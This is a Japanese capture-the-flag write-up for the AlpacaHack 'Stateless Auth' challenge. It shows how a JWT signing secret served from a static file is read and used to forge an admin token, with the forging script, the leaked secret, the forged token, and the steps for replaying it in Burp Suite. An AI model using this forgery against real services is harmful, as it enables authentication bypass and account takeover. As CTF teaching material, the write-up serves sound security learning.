【AlpacaHack】WriteUp for Stateless Auth

問題文

Stateless Auth - AlpacaHack
Why do you need a database?

トップ画面

「test」ユーザを入力すると以下のような画面になりました

ユーザ名を「admin」にするとforbiddenになる

脆弱性

JWTを使った認証をしていますが、JWT_SECRETは、static/jwt_secret.txtに保存されているようです。

if not os.path.exists("static/jwt_secret.txt"):
    JWT_SECRET = random.randbytes(32).hex()
    with open("static/jwt_secret.txt", "w") as f:
        f.write(JWT_SECRET)
else:
    with open("static/jwt_secret.txt") as f:
        JWT_SECRET = f.read()

JWT_EXP = 60 * 60
FLAG = os.environ.get("FLAG", "Alpaca{REDACTED}")


def issue_token(username: str) -> str:
    payload = {
        "sub": username,
        "iat": int(time.time()),
        "exp": int(time.time()) + JWT_EXP,
    }
    return jwt.encode(payload, JWT_SECRET, algorithm="HS256")

実際にアクセスするとJWT_SECRETを取得することができました

JWTを生成するコードは以下の通りのため、usernameJWT_SECRETを入れればユーザを偽装することが可能です

def issue_token(username: str) -> str:
    payload = {
        "sub": username,
        "iat": int(time.time()),
        "exp": int(time.time()) + JWT_EXP,
    }
    return jwt.encode(payload, JWT_SECRET, algorithm="HS256")

WriteUp

以下のコードを作成して

import jwt
import time
JWT_EXP = 60 * 60
payload = {
        "sub": "admin",
        "iat": int(time.time()),
        "exp": int(time.time()) + JWT_EXP,
}
JWT_SECRET = "20e515c7d11a1cfd9b4f504dfbf05efadbcecf9c5a2b22bab223444aa2bbcb32"
print(jwt.encode(payload, JWT_SECRET, algorithm="HS256"))

以下のコマンドで実行してみます

python3 -m venv myenv
source myenv/bin/activate
pip3 install PyJWT
python3 main.py

以下のようにJWTが生成されます

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsImlhdCI6MTc2OTM1MDg5OCwiZXhwIjoxNzY5MzU0NDk4fQ.0NRQYpsc3F-Kp-c2msQjBZzgcN3Ou21R4aFFg49DykY

BurpSuiteで/dashboardにアクセスしたキャプチャを確認して、「Send to Repeater」をしてRepeaterに回します

Cookieのtokenに先ほど生成したJWTを入れてSendボタンで再送するとadminでログインができフラグが表示されます

おまけ

JWTは、Base64でデコードすると以下のようにデコードできます

コメント

タイトルとURLをコピーしました